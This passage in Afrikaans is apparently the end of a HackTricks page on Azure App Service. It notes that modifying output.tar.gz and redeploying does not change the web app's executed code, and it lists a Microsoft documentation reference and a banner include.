lêer `output.tar.gz` te wysig en 'n ontplooiing weer te aktiveer, is nie genoeg om die kode wat deur die webapp uitgevoer word, te verander nie. - - -## Verwysings - -- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) - -{{#include ../../../banners/hacktricks-training.md}}